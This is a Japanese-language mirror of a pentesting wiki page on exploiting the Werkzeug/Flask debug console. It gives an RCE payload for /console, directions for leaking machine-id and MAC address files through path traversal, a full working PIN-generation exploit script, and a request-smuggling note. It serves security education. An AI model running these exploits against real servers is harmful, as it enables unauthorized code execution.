mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
168 lines
8.1 KiB
Markdown
168 lines
8.1 KiB
Markdown
# Werkzeug / Flask デバッグ
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## コンソール RCE
|
||
|
||
デバッグが有効な場合、`/console` にアクセスして RCE を取得することができます。
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
.png>)
|
||
|
||
インターネット上には、[これ](https://github.com/its-arun/Werkzeug-Debug-RCE)やmetasploitのものなど、いくつかのエクスプロイトがあります。
|
||
|
||
## ピン保護 - パス・トラバーサル
|
||
|
||
場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサルの脆弱性**がある場合、そのピンを生成するために必要な情報をすべて漏洩させることができます。
|
||
|
||
### Werkzeug コンソール PIN エクスプロイト
|
||
|
||
アプリでデバッグエラーページを強制的に表示させて、これを確認します:
|
||
```
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル(`__init__.py`)におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。
|
||
|
||
コンソールPINを悪用するには、`probably_public_bits` と `private_bits` の2セットの変数が必要です:
|
||
|
||
#### **`probably_public_bits`**
|
||
|
||
- **`username`**: Flaskセッションを開始したユーザーを指します。
|
||
- **`modname`**: 通常は `flask.app` と指定されます。
|
||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的に **Flask** に解決されます。
|
||
- **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の `app.py` へのフルパスを表します(例: `/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が適用できない場合は、**`app.pyc` を試してください**。
|
||
|
||
#### **`private_bits`**
|
||
|
||
- **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())` によって10進形式に変換されます。
|
||
|
||
- **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例: `ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp` をリークしてデバイスIDを見つけ、次に **`/sys/class/net/<device id>/address`** からMACアドレスを抽出します**。
|
||
- 16進数のMACアドレスを10進数に変換する方法は以下の通りです:
|
||
|
||
```python
|
||
# 例のMACアドレス: 56:00:02:7a:23:ac
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
|
||
- **`get_machine_id()`**: `/etc/machine-id` または `/proc/sys/kernel/random/boot_id` からのデータを、最後のスラッシュ(`/`)以降の `/proc/self/cgroup` の最初の行と連結します。
|
||
|
||
<details>
|
||
|
||
<summary>`get_machine_id()` のコード</summary>
|
||
```python
|
||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
global _machine_id
|
||
|
||
if _machine_id is not None:
|
||
return _machine_id
|
||
|
||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
linux = b""
|
||
|
||
# machine-id is stable across boots, boot_id is not.
|
||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
try:
|
||
with open(filename, "rb") as f:
|
||
value = f.readline().strip()
|
||
except OSError:
|
||
continue
|
||
|
||
if value:
|
||
linux += value
|
||
break
|
||
|
||
# Containers share the same machine id, add some cgroup
|
||
# information. This is used outside containers too but should be
|
||
# relatively stable across boots.
|
||
try:
|
||
with open("/proc/self/cgroup", "rb") as f:
|
||
linux += f.readline().strip().rpartition(b"/")[2]
|
||
except OSError:
|
||
pass
|
||
|
||
if linux:
|
||
return linux
|
||
|
||
# On OS X, use ioreg to get the computer's serial number.
|
||
try:
|
||
```
|
||
</details>
|
||
|
||
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。
|
||
|
||
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらに処理を行って最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです:
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user', # username
|
||
'flask.app', # modname
|
||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
h = hashlib.sha1()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
# h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv = None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(`cookiesalt` と `pinsalt`)を追加し、出力をフォーマットすることでPINを生成します。`probably_public_bits` と `private_bits` の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意することが重要です。
|
||
|
||
> [!TIP]
|
||
> **古いバージョン**のWerkzeugを使用している場合は、**ハッシュアルゴリズムをsha1の代わりにmd5に変更**してみてください。
|
||
|
||
## Werkzeug Unicode文字
|
||
|
||
[**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。
|
||
|
||
これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
|
||
|
||
## 自動化された悪用
|
||
|
||
{{#ref}}
|
||
https://github.com/Ruulian/wconsole_extractor
|
||
{{#endref}}
|
||
|
||
## 参考文献
|
||
|
||
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|